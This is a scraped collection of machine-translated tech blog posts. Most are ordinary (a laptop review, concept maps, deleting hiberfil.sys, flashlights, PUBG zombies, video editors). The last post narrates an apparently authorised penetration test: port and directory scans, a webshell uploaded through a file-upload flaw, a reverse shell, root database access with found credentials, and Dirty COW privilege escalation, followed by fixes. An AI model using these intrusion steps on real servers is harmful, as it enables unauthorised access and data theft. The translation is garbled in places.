Performance performance Toshiba Satellite E200 version tested with configuration including Intel Core i5-520m 2.4 GHz processor, 4GB DDR3 RAM memory, NVIDIA GeForce G310M graphics card with 512MB VRAM, 500GB hard drive and DVD read / write optical drive with LabelFlash disc label printing technology.\n  Score when marking with Windows Experience Index system.\nWith the hardware above, this model reached 5 points (taking the low score is clicked due to the speed of the hard drive) when dotted with the Windows Experience Index system on Windows 7 Home Premium (64bit) installed on the device. On a scale of detail, microprocessor reaches 6.7 points, RAM memory is 5.9 points while graphics capability is 5 points and game graphics reaches 6 points.\nMeanwhile, if using the 3DMark06 grading program to test the graphics power, the Satellite E200 achieved 3,662 points, much higher than the average of Intel Core i5 processor laptops with 1,900 points. However, this point is still nothing compared to the Lenovo Y460 Core i5 but the card is stronger with 7,482 points. The E200 is almost on par with the Samsung R580 (with 3,889 points) and outstrips the Dell Inspiron 14 (with 1,485 points). The above average figures are taken from Laptopmag page.\n  Results with 3DMark06.\nWhen testing a number of games that required average graphics like PES2010, the machine achieved a stable speed of 48 frames / sec with the highest setting. As for the game that requires a bit more graphics, Burnout Paradise, in the default setting, the Satellite E200 only averaged over 20 frames per second.\n  Play PES2010 game.\nE200 can watch HD standard video and play it properly to the entire screen. Meanwhile, with Full HD 1080p video, the device also runs smoothly and tests at different times without any problems and output to this standard-supported TV via HDMI port.\nPart 3: Heat sink, battery life Sound\nSatellite E200's speaker system is designed on the near side of the front edge. The sound quality of this speaker is only average. The volume is only enough to hear in a small room of less than 20m2, suitable for individual users and there is no high requirement on this issue.\nBattery life Battery equipped with Toshiba Satellite E200 is 6-cell type but 63WHr capacity is higher than other types commonly found in other models. To fully charge this 100% battery from 7%, users need to take nearly 3 hours. Testing HD video and leaving the brightness at medium level and not using connections like Wi-Fi or Bluetooth, the E200 only averaged nearly 3 hours continuously. Meanwhile, if playing games continuously, this time will be reduced to more than 1 hour and 30 minutes, and increase to more than 3 hours if only surfing the web, using Wi-Fi and simple applications. Radiators Toshiba Satellite E200 design heat sink slot on the left side of the machine, this is also the location with the highest temperature and easy to feel even when the machine does not use heavy graphics applications. In addition, the touchpad plastic is the hottest on the surface, which makes the user feel uncomfortable.\nSatellite E200 is also very difficult to use on the thighs because the underside of the machine is very hot, especially when working in a room without air conditioning, this is even more evident.\nPart 4: Compare with some other models Compare prices with models with Core i5 processors and discrete cards\nToshiba Satellite E200 Model Compaq Presario CQ41 Acer Aspire 4740G-524G50Mn Price 26,850,000 VND More than 18,000,000 VND About 17,000,000 VND Core i5 520M processor 2.4 GHz Core i5 520M 2.4 GHz Intel Core i5-430M 2 , 26 GHz Graphics card Nvidia GeForce 310M ATI Mobility Radeon HD 4350 Nvidia GeForce 310M Port connecting 2 USB 2.0 ports, eSATA / USB combo, card reader, VGA, HDMI 2 USB 2.0 ports, eSATA / USB combo, card reader , VGA, HDMI 3 USB 2.0 ports, card reader, VGA, HDMI Optical drive Yes (disk swallowing) Yes Yes Weight 2.24 kg 2.24 kg 2.3 kg Table 2:\nToshiba Satellite E200 HP Pavilion DV4-2114TX Dell Inspiron 14 (1464) Price 26,850,000 VND Approximately 23,000,000 VND More than 16,000,000 VND Core i5 520M 2.4GHz Intel Core i5-430M 2.26GHz Core i5 520M 2.4 GHz Graphics Nvidia GeForce 310M ATI Mobility Radeon HD 4550 ATI Mobility Radeon HD 4330 Ports connect 2 USB 2.0 ports, eSATA / USB combo, card reader, VGA, HDMI 3 USB 2.0 ports, eSATA / USB combo, card reader , VGA, HDMI 3 USB 2.0 ports, card reader, VGA, HDMI Optical drive Yes (disk swallowing) Yes Yes Weighing 2.24 kg2,2 kg2,3 kgncG1vNJzZmismaXArq3KnmWcp51kwbC%2Fx6KZmmWjlsGmuMuiq55llWd9cXnIrGSbnZGqwaqy1KVksJ2Zp7E%3D\n","link":"/post/toshiba-satellite-e200-is-beautiful-weird/","section":"post","tags":null,"title":"Toshiba Satellite E200 is beautiful 'weird'"},{"body":"  What is the Purpose of a Concept Map? Concept maps are frequently used to organize ideas or quickly depict data. But, in particular, the ideal cases in which concept maps can help are as follows:\nBrainstorming: Concept maps can assist you in swiftly structuring or organizing information derived from a brainstorming session. For example, utilizing a concept map to collect ideas when brainstorming might help your group organize your ideas instead of carrying a lot of handwritten notes from here to there. Also, there will always be a risk of losing the ideas as written notes can be misplaced, but you'll have all of it saved in your digital system with concept maps.\nResearching: When researching, you may find it challenging to determine where to begin when you have a vast topic. In this case, mind mapping exercise can aid in the identification of certain categories or subtopics to investigate. In addition, making a concept map and cross-linking the material you have gathered in the middle of your project might also assist you in finding missing bits of information.\nOnboarding: Managers and HR teams can utilize these maps to explain company policies, organizational structures, and the latest technical data to their employees quickly and efficiently because visualization is found to help people remember knowledge. Hence, adding concept maps to your onboarding process would serve to be an excellent approach to convey new concepts.\nCreating a concept map is a whole step-driven process that would cost you a lot of time! However, we believe how valuable time is when you are business-oriented. Hence, you can look up the Concept Map Template. to facilitate yourself with concept maps without investing in extra time. Select the relevant one, put in your ideas and incorporate the slide in your presentation. It's that simple.\nTypes of Concept Maps Concept maps can be divided into four categories. All four maps are based on the principle of visualizing the crucial concepts and linking them to show relationships between them. However, you must keep in mind that the nature of relationships can influence the type of map you pick.\n1. Flowcharts: A flow chart can help you make better decisions. You begin with a key query or topic and work your way through the flowchart based on your input. For instance, If your answer is \"yes\" to your main question, you will eventually proceed to the next idea you have stated by following the relevant line. This will repeat until you've reached a decision.\nUsing a flow chart can make your crucial information look more disciplined and easier to comprehend. Whereas they rarely include enormous volumes of data, which could limit their utility. In addition, they don't help with problem solving or critical thinking in any way.\n2. System Maps: A system map is the most comprehensive tool concept map. It can appear perplexing and daunting at first sight, but if you look closely, you will notice how simple navigating it is by using a line or signs like minus or plus, as each entry is linked to the other relevant one. Doing so makes it simple to recognize and comprehend the connections between subtopics and topics.\nWith a system map, you can visualize all the relevant data, consisting of a large quantity of data. They are widely utilized in the corporate world, where complex and detailed data and relationships between departments and teams must be referenced. Better understanding will lead your team to work effectively, which will eventually help you grow your business.\n3. Spider Maps: This map resembles a spider's web when it finishes, which is why it's named spider map. In a radial layout, you'll set a major topic or notion in the middle of the map, surrounded by pertinent subtopics. Each subtopic can then be divided into smaller subtopics as per the requirement.\nA spider map is an effective approach if you have a single primary notion, but if you have a lot of key topics to cover, it can be limiting. Furthermore, a basic spider map does not provide much information in terms of subtopic linkages. This is not the ideal concept map if you wish to include more in-depth data.\n4. Hierarchical Maps or Chronological Maps: A hierarchy map depicts the order of concepts starting from the top with the essential entry down to the least.\nFor instance, at the top, start with a key topic. Then you'd move to the next level, where you'd put overarching principles, the subtopics, proceeding further. You can also add lines or branches to each interval to incorporate the relevant data to that item.\nA hierarchy map can serve as an efficient concept map to rank topics chronologically. It may, however, only display a limited amount of information about the relationship of interdependence between lower-level elements.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02aYq51dqbWmedOyp56rXaSzbq%2FOp5qeqKRiuqK80g%3D%3D\n","link":"/post/what-are-the-types-of-concept-maps/","section":"post","tags":null,"title":"What Are The Types Of Concept Maps?"},{"body":"File Hiberfil.sys is one of the files consuming quite a lot of hard drive space on your computer. Hibernate uses Hiberfil.sys files to store the current state (memory) of the computer, so the Hiberfil.sys file is managed by Windows so you cannot delete these files in a way that is clear. often. In the article below, Network Administrator will guide you to delete Hiberfil.sys file by disabling hibernation (Hibernate).\n  1. What is Hiberfil.sys? On Windows, in off mode (Shut down), reboot (Restart) also has Sleep mode (Sleep) and Hibernate (Hibernate).\n  Sleep mode (Sleep) keeps your computer active in a low energy state. When you turn on the machine from Sleep mode, the system will quickly start up and the data will be taken from the memory within a few seconds. You can quickly return to work without waiting for the system to restart from the beginning.\nHibernate is less known to users. Hibernate is similar to sleep mode (Sleep), but in hibernation mode, your data will be saved to a file on the hard drive. When you reboot from Hibernate mode, just like the Sleep mode, the operating system and the applications are running and your data is quickly retrieved from the hard drive and loaded into RAM so you can continue working.\nHibernate uses Hiberfil.sys files to store the current state (memory) of the computer, so the Hiberfil.sys file is managed by Windows so you cannot delete these files in a way that is clear. often.\nHowever, if you want to delete Hiberfil.sys file, you can use hibernation mode (Hiberate).\n2. Disable hibernate (Hibernate) mode on Windows 7, 8, 10 or Vista To disable hibernation on Windows 7, 8, 10 or Vista, first open the Command Prompt under Admin by going to the Start Menu (or Start Screen), type cmd , then click Right-click the Command Prompt icon and select Run as administrator .\nThen enter the following command into the Command Prompt window you just opened:\npowercfg -h off\n  \nNow on the screen you can see the Hibernate mode no longer appears on the Menu Shut down.\n  And Hiberfil.sys file is no longer available.\n  3. Disable hibernation (Hibernate) on Windows XP The steps to disable Hibernate on Windows XP are simpler, you just need to go to Control Panel\u0026gt; Power Options and then click on the Hibernate tab.\nHere you uncheck the Enable hibernation and then reboot the machine.\n  So you have deleted the Hiberfil.sys file on your computer.\nYou can refer to more:  What is Swapfile.sys, how to delete Swapfile.sys?   How to convert PDF files to Word Online very fast   Simple way to convert PDF files to Word  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWYnq%2BmvsWio6yxo2K1sMOMraZmnJWhsrWxjKGgm52im7atv9is\n","link":"/post/what-is-hiberfil-sys-how-to-delete-hiberfil-sys/","section":"post","tags":null,"title":"What is Hiberfil.sys? How to delete Hiberfil.sys?"},{"body":"Have you heard somewhere about ' The world's brightest flashlight ' but still don't know what is different from conventional flashlights? You own one of the super bright flashlight but do not know how to use it right? So don't miss the following article!\u0026nbsp;You can also check the best edc flashlight by Lumen Authority.\nQuick review of article content 1. What is super bright flashlight? 2. A special feature of the world's brightest flashlights Super bright LED technology Large lumens Special construction Water resistance  3. How to use super bright flashlight most effectively How to charge super bright flashlight User manual  1. What is super bright flashlight? Thanks to the development of science and technology, fluorescent lamp flashlights are being replaced by LED bulbs. The illumination of LED bulbs is many times better than incandescent bulbs and thanks to this advantage, the concept of 'Super Bright Flashlight' has also appeared on the market.\nSuper bright flashlight means a portable LED flashlight with outstanding lighting capability (greater than 3000 lumens), thus providing many benefits for users.\n  CREE XM-L T6 is the favorite super bright flashlight on the market\nThis light and lighting device helps you easily explore caves, climb mountains, wade streams, without worrying about brightness, far-away, water resistance, impact resistance.\u0026nbsp;\n2. A special feature of the world's brightest flashlights Super bright LED technology LED bulbs of super bright flashlights are not only compact and have high brightness, but their power consumption is very low.\nMost of the brightest flashlights in the world today are equipped with super bright LED technology from CREE - the famous LED ball maker in the US.\nCurrently, up to 90% of the world's largest flashlight manufacturers use CREE's LED bulbs. The rest use NICHIA, PHILIPS, OSRAMS LED .\nLarge lumens Lumen is a photometric quantity that indicates the radiated power of a beam of light emitted from a point source. In other words, this is a brightness measurement unit, if the higher it is, the brighter the light will be.\nWith basic lighting needs, you only need a 1000 lumens lamp. However, with ultra-bright flashlights, this number is always larger than 3500 lumens.\nSpecial construction Like other normal flashlights on the market, the world's brightest flashlight also has a structure that includes: Floodlight, lamp body and circuit. However, in order to be so well lit, these parts will be specially designed and crafted by the most skilled workers.\n  Refer to the parts of super bright ACEBEAM EC 65 flashlight\n- Headlight:\nThis is the factor that determines the ability to shine far or near, shine or irradiation of light. It also decided whether the beam light was soft or not.\nFirstly, the best worker will meticulously align and burn the reflector to get a reasonable beam of light with the most technical requirements. After reaching the requirements, the lamp reflector was put into a mass production line and finally assembled on the world's brightest flashlight.\n- Body lamp:\nFlashlight body can be made from a variety of materials such as plastic, aluminum, copper, steel, . While cheap flashlights with body made of plastic, super bright flashlight made from aluminum Air Grade Aluminum (Aluminum 6061 - T6 Alloy). This material is super durable, super hard, can handle surface, heat sink, solder pot.\nThanks to the aluminum Air Grade Aluminum, the world's brightest flashlight body is light, hard, durable and especially good for heat dissipation. It is this good heat dissipation that helps increase the life of the product and helps users not get hot\n- Circuit:\nThe world's brightest flashlight has an electronic circuit that controls the resistance of the resistor, ensuring it can withstand the large amount of heat emitted from the lamp.\nIn addition, the circuit also has smart features such as:\nThere is LED battery status monitor Smart circuit against over-discharge for Li-ion batteries Protection against short-circuit when incorrectly inserted battery. Integrated charging circuit on the lamp body. Water resistance Currently, the most illuminated flashlights in the world meet the IP68 water resistance standard set by the US. With this standard, you can soak the lamp at a depth of 2 meters within 30 minutes.\nWith this feature, this flashlight can operate sustainably in stormy, wet and dusty environments .\n  Users can comfortably go under the rain and wind without worrying about electric lights\n3. How to use super bright flashlight most effectively How to charge super bright flashlight The most important thing when charging the lamp is that you have to charge it properly because if it is charging the wrong lamp, the lamp may be damaged or its life is reduced. Charge the battery when the power source of the lamp is low with a low light indication, unknown blinking constantly. Do not charge overnight because the excess energy will negatively impact the battery bottle. Store the battery and charger of the super bright flashlight even if you don't use it for a long time. This will help overcome the pressure drop and keep the battery stable. User manual Read the directions carefully before use. Install the battery in the right position of the flashlight. Only use lights when necessary. Use lights properly and should not abuse features. Do not shine the world's brightest flashlight into your eyes, which can cause eye pain, retinal damage. Keep out of reach of CHILDREN. \u0026gt;\u0026gt; See more:\nUltra-powerful mini flashlights can burn paper and cook food OSRAM launches light using OLED technology ncG1vNJzZmismaXArq3KnmWcp51kxKmt06xkrKiVmLaiuIyipWasmJp6o77IoJ%2BtnaOpeqe4wKyfpaGXncG0ecinZK2glWLEsL7LnWStp5SWxg%3D%3D\n","link":"/post/what-s-special-in-the-brightest-flashlights-in-the-world-today/","section":"post","tags":null,"title":"What's special in the brightest flashlights in the world today?"},{"body":"Finally, the PUBG Mobile Zombie mode has officially updated the player with the name Zombie Survive Till Dawn, based on the remake version of Resident Evil 2 recently released. Accordingly, this new game mode will have a lot of Zombie types from Resident Evil 2.\nThere are also normal zombies and zombie bosses, which will be deployed according to PUBG Mobile VNG play and will put pressure on players, in this article will introduce you to the zombies in PUBG Mobile Zombie and how to destroy them.\nPUBG Mobile VNG: The most fierce fighting areas at Vikendi Tips for quick rankings in PUBG Mobile How to configure PUBG Mobile VNG to HD on Tencent Gaming Buddy PUBG Mobile Zombie: Synthesis of Zombie types and ways to destroy them 1. Regular zombies   This is the default zombie type in PUBG Mobile, the weakest, slowest but also the most crowded game. If you have a gun and a certain number of bullets, you don't need to worry every time you touch them. The trick to destroy this type of Zombie is that you can lure them by running around and if you have a lot of zombies then kill them.\n2. Fat zombies   This \"mop\" zombie guy has a better stamina than a normal zombie, due to his large body always standing on the road. It seems that when he hasn't turned into a zombie, this guy is selling pork, with a knife in his hand, a fat guy can make you miserable when standing in narrow houses.\nIf outside, you can destroy this fat guy easily because they are not so fast. And when defeated, this \"fat\" zombie will explode and drop some items.\n3. Spitter   The appearance of this Zombie is quite normal, you can only recognize them with the mask they are equipped with, there is also one more point that you can recognize this zombie from afar. It is the ability to \"spit\" poison gas of Spitter when sniffing the player.\nTheir poisoning will only cause you to lose a bit of blood, but if you spitter at the same time you release poison gas, you will be miserable when you \"spit\" the board. Not to mention that the usual boss and zombie zombies surround it, and you should move flexibly if you see Spitter's poison to avoid bullets, then shoot and shoot them to deal damage. The drawback of Spitter is that there is not so much blood, so you can take them down quickly.\n4. Licker   Licker poses a danger to players with dangerous \"strokes\", looking at Licker's hand, you can guess that when they own a big claw that is close to the body. Licker has no skin and possesses a look that makes the player startle when he sees it\nMore dangerous when Licker also has the ability to crawl on the wall as well as the ceiling but often they will appear in the street more, to quickly destroy this type of zombie you can equip yourself with an S12K or use The guns have 7.62mm bullets, they can die quickly.\n5. G-Virus   One of the bosses is the most haunting for Resident Evil players. 2. The G-Virus is Dr. William Birkin, who injects the G-Virus into himself and turns into a monster named G. With the ability to turn Continuously, he can make PUBG Mobile gamers quite hard to fight back.\nG has the ability to move quickly, the amount of buffalo blood and if you get stuck with only a few hits of it, it is already knocked out, so there is nothing effective by running and hitting, and needing especially, you should equip powerful weapons like Minigun or Flamethrower to destroy G before G destroys you.\n6. Tyrant   If you're on the road and suddenly meet a gentleman dressed in a Trilby hat and wear a military raincoat, don't get close to getting used to being punched. Tyrant can make you lie down to hug your belly after only 4 powerful punches, not to mention the Tyrant can also kick up and throw at players. With the amount of buffalo blood and Tyrant's ability to move quickly, this deserves the final boss in Zombie: Survive Till Dawn PUBG Mobile.\nIn order to fight Tyrant, there is no way to concentrate all the firepower on this final boss, especially with two weapons of flamethrowers and 6-barrel guns, without those two weapons you will spend quite a bit Long time to destroy Tyrant. One advice is to choose a location outside to fight this boss.\nAbove I have mentioned two new types of heavy weapons dedicated to the Zombie that Minigun M134 and Flamethrower flamethrowers, and some more weapons you may not know in this Zombie mode. Take a look at the article PUBG Mobile Zombie: Synthesis of new weapons and how to find them to know the new weapons in PUBG Mobile Zombie and how to use them.\nncG1vNJzZmismaXArq3KnmWcp51kvbauxmakqJqZobJuxs6mmaKdXZi8rq7Ip5xmmZyherXFz56qZqeWYsewucGinKxlkaOxbrTOsGStp12ZsqK4jLCgraBdqbWmuQ%3D%3D\n","link":"/post/combine-all-types-of-zombies-and-how-to-deal-with-them/","section":"post","tags":null,"title":"Combine all types of zombies and how to deal with them"},{"body":"Video editing tools can be very expensive. After all, the main users of these tools are usually studios that are capable of making billions of dollars, if a movie succeeds. From a business perspective, when customers make a lot of money with your software, is there no reason for you to sell your product at a cheap price?\nHowever, most home users do not earn much money from the videos they create. And if you don't make as much money as professionals, then why do you have to spend expensive money on a editing tool? Fortunately, free video editors like HitFilm Express and DaVinci Resolve are tools to help you fix this problem.\nIn this article, TipsMake.com will compare HitFilm Express and DaVinci Resolve, to see which software won the battle to win the \"Best Free Video Editor\".\nDownload HitFilm Express Download DaVinci Resolve Is HitFilm Express or DaVinci Resolve the best free video editor? Hardware requirements Prices and add-ons Resolution and file support Function User interface Easy to use Was HitFilm Express or DaVinci Resolve the winner? Hardware requirements Looking at the DaVinci Resolve website, you will find it difficult to find any system requirements. Even in manuals in PDF format, system requirements are quite vague. The document indicates that you will need a screen to see what you have edited, but do not specify how much RAM you need.\nHitFilm Express is more specific when it comes to system requirements. These requirements seem much more modest than DaVinci Resolve. Most computers manufactured in the last 5 years or longer can run HitFilm Express without problems. Like all video editing applications, HitFilm Express will benefit from a dedicated graphics card and will use all the RAM you grant it. However, you can still run HitFilm Express with 4GB RAM and integrated graphics if you need it.\nWinner: HitFilm Express\nPrices and add-ons When it comes to price, you can choose the free or paid DaVinci Resolve version with full features. The price for the paid version is $ 299 (VND 6.9 million), which is quite low when compared to other professional video editing software.\n  HitFilm Express has a more modular approach. You can start from the free version, buy HitFilm Pro (also priced at $ 299) or add upgrades to HitFilm Express. This means that if almost everything you need is in HitFilm Express, you can pay a few dollars to add the features you lack, then return to work.\nWinner: HitFilm Express\nResolution and file support One of the most important aspects is that both applications support 4K video editing. However, they may not support every frame rate unless you upgrade. For example, if you want to edit 4K 120fps videos with DaVinci Resolve, you'll have to pay.\n  Now, the article will look at another important aspect: File format. Both applications support the file types commonly used in the free version. However, you may need to buy an add-on for certain file types in HitFilm Express. On the other hand, DaVinci Resolve supports a large number of different file types in the free version.\nWinner: DaVinci Resolve\nFunction Both applications support all the features you need for basic editing. You can import your clips, cut, apply transition effects and export them in many different formats. In general, both of these programs have quite strong abilities.\nDaVinci Resolve is often the name that appears in the list of the best free video editors. In fact, DaVinci Resolve is on the list of TipsMake.com 's best video editing applications . DaVinci Resolve's advanced feature set is amazing and is still growing. Some of the best features include automatic audio and video synchronization on multiple clips and Fusion compositing.\nHitFilm Express also has full features, but as mentioned above, you may need to drill down into add-ons. There are several add-on packages that offer additional formats, behaviors and editing features. You may never need to buy any of these add-ons, but it is more likely that you will have to buy the HitFilm Express add-ons rather than upgrading to DaVinci Resolve Studio.\nWinner: DaVinci Resolve\nUser interface The HitFilm Express application is 'covered' by reminders to buy add-ons. As soon as you load the application, the entire sidebar on the left is reserved for all the different function bits (you need to spend a few extra dollars to get them). Although it only appears on the main screen and disappears when you actually start a new project, the prompt is something that annoys the user.\nWhen you really started working on a new project, HitFilm 4 Express looked quite like a regular video editor, with a few minor differences.\n  DaVinci Resolve achieved a big plus in this section, thanks to a feature. Although DaVinci Resolve has its own keyboard shortcuts, you can also set up to use shortcuts from Premiere Pro, Final Cut Pro X or Avid Media Composer. If you have ever used one of these editors before, this feature will be very convenient in helping you switch between tools.\nWinner: DaVinci Resolve\nEasy to use HitFilm Express is a powerful tool, but it clearly targets content creators on YouTube. In general, the HitFilm Express application is easier to use and you need to master the editing skills to use it. Many other useful features found in other editors also appear in HitFilm Express, but not very prominent.\n  The Hollywood platform of DaVinci Resolve is quite evident in the application. This feeling is like an app for people who are familiar with video editing and want more powerful features to be placed in an easy-to-see location. This point does not make DaVinci Resolve unusable, but not as friendly as HitFilm Express.\nWinner: HitFilm Express\nWas HitFilm Express or DaVinci Resolve the winner? HitFilm Express is completely easier to use than DaVinci Resolve, especially if you are new to video editing. HitFilm Express focuses on compositing (the technique of combining visual elements from various sources, making the illusion that they are part of the same scene), a great strength of the application, but with the addition of Fusion, DaVinci Resolve has nearly caught up with their opponents.\nThe origin of DaVinci Resolve is a tool used primarily for color grading purposes (the process of improving images so that it appears more beautiful in different environments and devices). As a video editing tool, DaVinci Resolve has caught up not only with HitFilm, but also other popular video editors like Adobe Premiere and Final Cut Pro X. Although a bit more difficult to use, DaVinci Resolve will more useful if you want to learn deeper functions in the video editing process.\nBoth HitFilm Express and DaVinci Resolve are powerful video editing applications and the differences between them are not very large. However, if forced to choose the winner, perhaps the answer is DaVinci Resolve.\nIf you work with feature films, getting used to advanced features in DaVinci Resolve may be helpful. On the other hand, if you just want to create simple videos, HitFilm Express can help you achieve faster results.\nIf you are trying to create a YouTube video, any of these 2 editors will work fine. Refer to the article: 5 tips for creating YouTube videos for beginners for more details.\nncG1vNJzZmismaXArq3KnmWcp51ksLC5z5qpnmViYrOzscRmraKclaR6prDIraarq12dtrWyyKWkZp2opb%2Bmv9JmmKecXZmut7XNnKBmqpWovK3CxA%3D%3D\n","link":"/post/compare-2-free-video-editors-hitfilm-express-and-davinci-resolve/","section":"post","tags":null,"title":"Compare 2 free video editors HitFilm Express and DaVinci Resolve"},{"body":" compare macbook | TipsMake.com    should you spend a lot of money on a better macbook model or save a few dollars by choosing the cheapest product instead? along quantrmang.com find answers through the following article!   the article compares macbook pro and macbook air - two types of laptop products from the apple brand, helping you understand the pros and cons of each type if you are wondering between these two products.   dell's new product, the xps 15, is a direct competitor to apple's 16-inch macbook, but is it really suited to compete with today's best laptop? in theory, the dell xps 15 is quite possible.   should you spend a lot of money on a better macbook model or save a few dollars by choosing the cheapest product instead? along quantrmang.com find answers through the following article!   thanks to the low power consumption of intel haswell 4th generation processor, apple's 2013 macbook air is rated as one of the ultrabooks with the best battery life today.   apple's latest macbook air is far from the upcoming series of ultrabooks in screen quality, thinness, support for connectivity ports and graphics performance.   here are a few comparisons between apple's macbook air laptop and hp's slate 500 tablet (mtb) with a business-oriented approach.   the design of the envy 13 makes many people think of apple's laptop with slim design, aluminum frame despite the high price of the product ($ 2,300 in vietnam).   ncG1vNJzZmismaXArq3KnmWcp51kwaKz0miaqKWglr%2Bmecyampunn6B7qcDMpQ%3D%3D\n","link":"/post/compare-macbook-tipsmake-com/","section":"post","tags":null,"title":"compare macbook | TipsMake.com"},{"body":"The following article is translated from the story of Georgios Konstantopoulos, electrical and computer student in Greece.\nLast summer, I learned about information security and hacking. Last year, I learned a lot and continuously improved my hacking skills, learning how to 'make computers work the way others have never thought of'.\nMy experience is always limited to the simulated environment and I consider myself a white hat hacker, never dipping into someone else's story.But now, I will detail how I hacked the server containing 40 websites .\nNote: Computer science knowledge is required to understand the technical details below.\nA friend told me his website has an XSS vulnerability and wants me to see it. This is important, so I have to ask him to allow me to test the web application and the host server. The answer is yes.\nFrom now on, I'll temporarily call my friend's website, http://example.com/\nFirst, find as much information as possible about the opponent and try not to hit them.We started scanning, taking about 2 minutes.\n$ nmap --top-ports 1000 -T4 -sC http://example.com Nmap scan report for example.com {redacted} Host is up (0.077s latency). rDNS record for {redacted}: {redacted} Not shown: 972 filtered ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh | ssh-hostkey: | {redacted} 80/tcp open http | http-methods: |_ Potentially risky methods: TRACE |_http-title: Victim Site 139/tcp open netbios-ssn 443/tcp open https | http-methods: |_ Potentially risky methods: TRACE |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_{redacted} 445/tcp open microsoft-ds 5901/tcp open vnc-1 | vnc-info: | Protocol version: 3.8 | Security types: |_ VNC Authentication (2) 8080/tcp open http-proxy |_http-title: 400 Bad Request 8081/tcp open blackice-iceca p  As a result, many ports are open. Recognizing that FTP (port 21) and SMB (port 139/445) are open, we guess the server is used to host files and share files, and is also a webserver (port 80/443 and proxy 8080/8081). If the information just scanned is not enough, UDP scans and more than 1000 ports will be needed. The only port that we are allowed to interact without authentication is 80/443.\nWithout wasting time, I run gobuster https://github.com/OJ/gobuster to find out which files are interesting on the webserver, and also find the information manually.\n$ gobuster -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 /admin /login  It turns out the path / admin is an admin tool for authenticated users to edit on the webserver. It needs login information but we don't have both username and password so we have to skip it. (Gobuster cannot find anything valuable).\nSo it's been 3 minutes in vain.\nWhen I opened the website, I found it asking to login. We create an account by junk email, click on the confirmation link in the email and log in. The website redirects to the Profile page and we update the information above.\nSeeing that the website looks customizable, I try to check for Unrestricted File Upload vulnerability (file download vulnerability). On the Terminal, I execute the code:\necho \" \" \u0026gt; exploit.php echo \" \" \u0026gt; exploit.php  I tried downloading 'image' and finally the exploit.php file was uploaded. Of course it doesn't have a thumbnail, but it also means that my file has been uploaded somewhere.\n  Get locations to tap\nWe think we will check the extension, replace it with extensions like .jpeg or .jpg to avoid executing remote code if an attacker loads the malicious code. We don't care about security, right?\n`Copy image address` results in the following url being copied to our clipboard: http://www.example.com/admin/ftp/objects/XXXXXXXXXXXX.php  So it looks like our webshell is ready.\n  Webshell is ready to operate\nNotice that the webserver runs the perl script, we get a reverse shell (the type of shell the target communicates against the attacker) on the buoy http://pentestmonkey.net/cheat-sheet/shells/reverse-shell- cheat-sheet then set IP / port and get very low access. (Sorry because this section has no photos).\n5 minutes passed but only very low rights.\nSurprisingly, the server not only hosts a website but also has 40 pages . Sadly, I didn't keep a detailed screenshot but the list is behind this:\n$ ls /var/www access.log site1/ site2/ site3/ {. the list goes on}  You got it. Access to all websites hosted here means I can read all the backend code of all sites. But I limit myself to the code of example.com page. Inside the cgi-admin / pages directory all perl scripts connect to MySQL database with root access. Information to log in is also available in text format. Temporarily assume the name and password are root: pwned42.\nCertainly the server runs MariaDB so I have to read about this issue on GitHub https://github.com/dockerfile/mariadb/issues/3 before accessing the database. We then execute the code:\nmysql -u root -p -h localhost victimdbname Password: pwned42  And so we were in the database with root access.\n  'use databasename;' Allows us to access 35 databases, read and edit any content.\nSo after just 7 minutes, we had the right to read / edit the contents of 35 databases.\nAt this point, my conscience forced me to stop and announce what I found. The loss will be very large if an attacker is present, such as:\nClean up content on all databases, as described here https://stackoverflow.com/questions/9497869/export-and-import-all-mysql-databases-at-one-time leads to data Data of 35 companies will leak out. Delete all 35 databases. Leave the back door and continue to access it with cronjob (doing repetitive tasks) as described here.http://blog.tobiasforkel.de/en/2015/03/19/setup-cron-job-for-apache-user/ It should be noted that the MySQL process runs under root. I try to run ! whoami to get root privileges but failed.\nWhat could happen? After reporting the results, I was allowed to dig deeper. Before trying to upgrade to root and cause further damage, I see if the current permissions can find any files.\nAt this point I remember the open SMB port, which means there must be a public folder that the user has to file somewhere. After a few times of listing, this is what appears in the / home / samba / secured directory .\n  File of all companies\nWithin all of these directories, there are files of each user of each company, including the type of sensitive data such as:\n.Psd, .ai file (designers should know well) Cookies sqlite Bill Eboook Login information for SSIDS WiFi With these things, an attacker can:\nSit outside the company office but log on to the intranet and perform all kinds of attacks. Clean up the data and release it to the public. To see all the folders and realize the importance of the problem also takes a lot of time. Decisive owl After a few laps, I decided to catch the big fish, root access. I refer to the float page https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ and start looking for files.\nSince I have used up a lot of techniques already, I can't seem to find much. Then I remembered. With the previous CTF (Capture the Flag) challenges, the OS is often patched but occasionally deliberately set up, giving you root privileges. People still patch.\nWhich Linux version is running on?\n$ cat /etc/issue CentOS Linux release 7.2.1511 (Core)  What about the kernel version?\n  The Kernel version of the Linux server\nSeems like an old kernel version. I found it on this blog http://davemacaulay.com/easily-test-dirty-cow-cve-2016-5195-vulnerability/ how to check if the kernel is vulnerable to the scenario below.\n  Check if the kernel is vulnerable\nThen:\n  Account for root privileges\nIt is done. I immediately wrote an email detailing the steps along with the impact of each step I took and closing a very interesting night.\nSummarizing this is what an attacker can do:\nRead and edit all files on the server Leave the back door Install and distribute malicious code on the server's internal network Install extortion code Use server to dig virtual money Use server as a proxy Use the server as a C2C server Put the server into the botnet Depending on your imagination . The next day, my friend (contacted the server operator) said that the error when uploading the file was fixed.\nChung recalls, we found out:\nThe web application has an Unrestricted File Upload vulnerability, which leads to low access Login information MySQL database, resulting in the right to read / write 35 databases Many sensitive files Finally, take advantage of the unpatched kernel to gain root access. Some solutions proposed Start with the file download error. Since the backend code of this web application is written in perl, but I do not know this language, there is no solution available. One suggestion is not to use perl, it's 2017 already.\nBesides the file system, I encourage careful file permissions for users, according to the minimum rule of law. Then even users with low access rights cannot read.\nRunning all websites on a server is not a good idea. Sharing common credentials for all databases is not a good idea.\nFinally patch everything. Just one order, with CentOS like this.\nsu -c 'yum update'  Thank you for reading, sorry for the long post. I want to speak carefully because this is important.\nSee more:\nThe most basic insights to becoming a Hacker - Part 1 The journey halfway around the world finds back 200,000 dollars bitcoin Journey from unknown to becoming software engineer in San Francisco for 12 months To learn about SQL and databases, do not ignore these 23 online resources 